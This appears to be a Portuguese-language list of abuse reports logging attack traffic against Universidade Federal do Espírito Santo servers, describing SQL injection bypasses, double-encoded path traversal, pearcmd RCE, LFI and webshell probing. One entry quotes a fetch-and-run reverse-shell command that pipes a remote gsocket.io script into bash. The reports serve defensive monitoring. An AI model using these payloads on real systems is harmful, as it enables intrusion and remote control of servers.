Scanner automatizado testando SQL injection (UNION SELECT, SLEEP) e XSS refletido contra multiplos p ...
show moreScanner automatizado testando SQL injection (UNION SELECT, SLEEP) e XSS refletido contra multiplos plugins WordPress diferentes na mesma sessao de varredura
show less
SQL injection com bypass via virgula fullwidth (%EF%BC%87) e comentarios inline MySQL, e injecao bas ...
show moreSQL injection com bypass via virgula fullwidth (%EF%BC%87) e comentarios inline MySQL, e injecao baseada em CASE/SLEEP, contra Moodle (course/index.php) em sead.ufes.br
show less
Path traversal via parametro pagename do WordPress com encoding duplo, mesma tecnica de 140.245.104. ...
show morePath traversal via parametro pagename do WordPress com encoding duplo, mesma tecnica de 140.245.104.52, visando wp-includes/theme-compat/footer
show less
Scanner automatizado multi-categoria: SQL injection baseada em tempo (SLEEP), sondagem de RCE/webshe ...
show moreScanner automatizado multi-categoria: SQL injection baseada em tempo (SLEEP), sondagem de RCE/webshell e tentativa de LFI via elfinder visando /etc/passwd, tudo no mesmo curto intervalo
show less
Path traversal combinado com pearcmd (RCE via PHP PEAR) tentando criar arquivo PHP malicioso via par ...
show morePath traversal combinado com pearcmd (RCE via PHP PEAR) tentando criar arquivo PHP malicioso via parametro lang=../../../usr/local/lib/php/pearcmd
show less
Path traversal via parametro pagename do WordPress usando encoding duplo (%252e%252e%252f) tentando ...
show morePath traversal via parametro pagename do WordPress usando encoding duplo (%252e%252e%252f) tentando escapar do diretorio de templates para wp-links-opml.php, contra sead.ufes.br
show less
Varredura massiva (1876 requisicoes em 24h) por webshells da familia alfa/Erenus (/backup/ALFA_DATA/ ...
show moreVarredura massiva (1876 requisicoes em 24h) por webshells da familia alfa/Erenus (/backup/ALFA_DATA/alfacgiapi/perl.alfa e dezenas de variantes de caminho) contra infraestrutura da UFES
show less
Tentativa de instalar shell reverso via gsocket.io (payload: bash -c "$(curl -fsSL https://gsocket.i ...
show moreTentativa de instalar shell reverso via gsocket.io (payload: bash -c "$(curl -fsSL https://gsocket.io/y)") contra endpoint inexistente /local/moodle_webshell/webshell.php em sead.ufes.br
show less
Sondagem de webshells conhecidos (familia alfa/Erenus: /jancox/alfacgiapi/py.alfa, /ERENUSE/Erencgia ...
show moreSondagem de webshells conhecidos (familia alfa/Erenus: /jancox/alfacgiapi/py.alfa, /ERENUSE/Erencgiapi/bash.Eren) contra sead.ufes.br
show less
Sondagem de webshells conhecidos (marcador BlackNovaHub, familia alfa) contra /local/moodle_webshell ...
show moreSondagem de webshells conhecidos (marcador BlackNovaHub, familia alfa) contra /local/moodle_webshell/webshell.php?action=exec e /alfacgiapi/bash.alfa em sead.ufes.br, mesma campanha de 153.75.91.161 e 130.12.180.111
show less
Sondagem de webshells conhecidos (marcador BlackNovaHub, familia alfa) contra /local/moodle_webshell ...
show moreSondagem de webshells conhecidos (marcador BlackNovaHub, familia alfa) contra /local/moodle_webshell/webshell.php?action=exec e /alfacgiapi/bash.alfa em sead.ufes.br
show less